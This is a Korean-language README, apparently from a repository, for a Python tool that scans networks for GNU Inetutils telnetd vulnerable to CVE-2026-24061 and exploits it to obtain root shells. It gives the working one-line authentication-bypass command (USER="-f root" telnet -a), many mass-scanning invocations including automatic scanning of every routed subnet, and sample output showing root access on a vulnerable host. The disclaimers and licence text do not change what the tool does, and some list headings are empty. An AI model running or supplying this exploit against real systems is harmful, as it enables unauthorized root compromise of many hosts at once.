
Python 기반 스캐너로, CVE-2026-24061 telnetd 인증 우회를 탐지하고 악용하여 취약한 GNU Inetutils 서비스에서 루트 셸 접근을 가능하게 합니다.
GNU Inetutils telnetd 서비스의 CVE-2026-24061 취약점을 탐지하고 악용하기 위한 Python 기반 스캐너입니다. 이 도구는 IP 주소 또는 네트워크를 스캔하여 인증 우회로 루트 셸 접근을 허용하는 취약한 telnetd 서비스를 탐지합니다.
본 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
이 애플리케이션은 보안 취약점을 시연하고 승인된 보안 테스트 및 연구를 지원하기 위해 교육 목적으로만 개발되었습니다.
본 소프트웨어는 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 모든 명시적 또는 묵시적 보증 없이 "있는 그대로" 제공됩니다. 저자와 기여자는 소프트웨어가 오류 없이 작동하거나, 안전하거나, 기능적임을 보장하지 않습니다. 소프트웨어에는 버그, 오류 또는 기타 결함이 포함될 수 있습니다.
본 소프트웨어 사용에 대한 모든 책임과 법적 책임은 전적으로 사용자에게 있습니다. 본 소프트웨어의 저자, 기여자 및 배포자는 본 소프트웨어의 사용, 오용 또는 사용 불가로 인해 발생하는 어떠한 손해, 손실 또는 법적 결과에 대해서도 책임을 지지 않습니다.
이 도구는 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에서만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 형사 기소로 이어질 수 있습니다.
저자는 다음 사항을 보장하지 않습니다:
본 소프트웨어를 사용함으로써 귀하는 본 약관을 읽고 이해했으며 이에 구속되는 것에 동의함을 인정합니다. 동의하지 않는 경우 본 소프트웨어를 사용하지 마십시오.
개발자: Cuma KURT
이메일: [email protected]
LinkedIn: https://www.linkedin.com/in/cuma-kurt-34414917/
CVE-2026-24061: 버전 2.7까지의 GNU Inetutils telnetd는 USER 환경 변수에 -f root 값을 사용하여 원격 인증 우회를 허용합니다.
CVSS 점수: 9.8 (치명적)
telnet 클라이언트 (Linux/macOS에 일반적으로 사전 설치됨)pip3 install -r requirements.txt
참고: 대부분의 종속성은 Python 표준 라이브러리의 일부입니다. 이 도구는 Python 3.6+에서 추가 설정 없이 작동합니다.
# 단일 IP 주소 스캔
python3 tscan.py 192.168.1.1
# CIDR 네트워크 스캔
python3 tscan.py 192.168.1.0/24
# 사용자 지정 포트로 스캔
python3 tscan.py -p 2323 192.168.1.1
# 파일에서 대상 스캔
python3 tscan.py targets.txt
# 여러 IP 주소 스캔
python3 tscan.py 192.168.1.1 10.0.0.1 172.16.0.1
# 여러 CIDR 네트워크 스캔
python3 tscan.py 192.168.1.0/24 10.0.0.0/16
# 더 빠른 스캔을 위해 스레드 수 증가 (100개 스레드)
python3 tscan.py -t 100 192.168.1.0/24
# 느린 네트워크를 위한 타임아웃 증가
python3 tscan.py --timeout 10 192.168.1.0/24
# 대규모 네트워크 스캔을 위해 두 가지 결합
python3 tscan.py -t 200 --timeout 8 10.0.0.0/16
# 시스템 라우팅 테이블에서 모든 서브넷 자동 탐지 및 스캔
python3 tscan.py --auto
# 또는 짧은 형식:
python3 tscan.py -a
# 사용자 지정 포트로 자동 탐지
python3 tscan.py --auto -p 2323
# 또는:
python3 tscan.py -a -p 2323
# 높은 스레드 수로 자동 탐지
python3 tscan.py --auto -t 200
# 또는:
python3 tscan.py -a -t 200
참고: --auto 모드는 ip route list 또는 route -n 명령을 사용하여 시스템 라우팅 테이블을 읽고 탐지된 모든 서브넷을 자동으로 스캔합니다.
# 예시 1: 로컬 네트워크 빠른 스캔
python3 tscan.py 192.168.1.0/24
# 예시 2: 높은 동시성으로 빠른 스캔
python3 tscan.py -t 300 --timeout 3 10.0.0.0/16
# 예시 3: 비표준 텔넷 포트 스캔
python3 tscan.py -p 2323 192.168.1.0/24
# 예시 4: 모든 로컬 네트워크 서브넷 자동 탐지 및 스캔
python3 tscan.py --auto
# 또는:
python3 tscan.py -a
# 예시 5: 사용자 지정 설정으로 자동 탐지
python3 tscan.py --auto -p 2323 -t 100 --timeout 8
# 또는:
python3 tscan.py -a -p 2323 -t 100 --timeout 8
positional arguments:
targets IP 주소, CIDR 네트워크 또는 대상을 포함하는 파일 경로
options:
-h, --help 도움말 메시지 표시 및 종료
-p, --port PORT 스캔할 텔넷 포트 (기본값: 23)
-t, --threads THREADS 동시 스레드 수 (기본값: 50)
--timeout TIMEOUT 연결 타임아웃(초) (기본값: 5)
-v, --verbose 상세 출력
-a, --auto 시스템 라우팅 테이블에서 모든 서브넷 자동 탐지 및 스캔 (route -n 또는 ip route list)
한 줄에 하나의 대상을 포함하는 텍스트 파일을 생성합니다:
192.168.1.1
192.168.1.0/24
10.0.0.1
172.16.0.0/16
#로 시작하는 줄은 주석으로 처리되어 무시됩니다.
이 도구는 다음을 제공합니다:
실시간 진행 상황: 발견된 결과를 실시간으로 표시
[!] - 취약한 호스트[~] - 포트가 열려 있지만 취약하지 않음요약 보고서: 다음 포함:
[*] 256개 대상에 대한 스캔 시작...
[*] 포트: 23, 스레드: 50, 타임아웃: 5초
[*] 진행률: [████████████████░░░░░░░░░░░░░░░░░░░░] 40.0% (102/256) | 열림: 2 | 취약: 1
[!] 192.168.1.100:23 - 취약
[*] 진행률: [████████████████████████████████████] 100.0% (256/256) | 열림: 3 | 취약: 1
[+] 스캔 완료: 256/256 대상 스캔됨
======================================================================
스캔 결과 요약
======================================================================
발견된 텔넷 서비스: 3
취약한 호스트: 1
[!] 취약한 호스트:
● 192.168.1.100:23
출력: uid=0(root) gid=0(root) groups=0(root)...
[~] 발견되었지만 취약하지 않은 텔넷 서비스:
● 192.168.1.101:23
● 192.168.1.102:23
[*] 스캔이 12.34초 만에 완료되었습니다
USER="-f root" 환경 변수 설정telnet -a 명령으로 연결이 취약점은 USER 환경 변수를 -f root로 설정하여 인증 우회를 허용합니다:
USER="-f root" telnet -a TARGET_IP [PORT]
이로 인해 telnetd가 USER 변수를 플래그로 해석하여 인증을 우회하고 루트 접근 권한을 부여합니다.
telnet 클라이언트가 설치되어 있어야 함ip route list 또는 route -n 명령이 필요telnet 클라이언트 설치:
# Debian/Ubuntu
sudo apt-get install telnet
# CentOS/RHEL
sudo yum install telnet
# macOS
# 일반적으로 사전 설치됨
--timeout 10이 도구는 다음을 위해 사용됩니다:
다음 용도로 이 도구를 사용하지 마십시오:
이 프로그램은 자유 소프트웨어입니다: 자유 소프트웨어 재단이 발표한 GNU 일반 공중 사용 허가서(GNU General Public License) 버전 3 또는 (선택에 따라) 이후 버전의 조건에 따라 재배포하거나 수정할 수 있습니다.
이 프로그램은 유용하기를 바라며 배포되지만, 어떠한 보증도 없이 배포됩니다. 상품성 또는 특정 목적에의 적합성에 대한 묵시적 보증조차 없습니다. 자세한 내용은 GNU 일반 공중 사용 허가서를 참조하십시오.
이 프로그램과 함께 GNU 일반 공중 사용 허가서 사본을 받았을 것입니다. 받지 못했다면 https://www.gnu.org/licenses/를 참조하십시오.
전체 GNU 일반 공중 사용 허가서 v3.0 텍스트는 LICENSE 파일을 참조하십시오.
저자와 기여자는 이 도구로 인해 발생하는 어떠한 오용이나 손해에 대해서도 책임을 지지 않습니다.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
사용에 따른 모든 책임은 사용자에게 있습니다. 모든 책임과 법적 책임은 전적으로 사용자에게 있습니다. 저자는 이 소프트웨어의 정확성, 보안 또는 기능을 보장하지 않습니다. 이 소프트웨어는 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다.
이 애플리케이션은 교육 목적으로만 개발되었습니다. 본 소프트웨어를 사용함으로써 귀하는 다음을 인정합니다:
이 약관에 동의하지 않는 경우 본 소프트웨어를 사용하지 마십시오.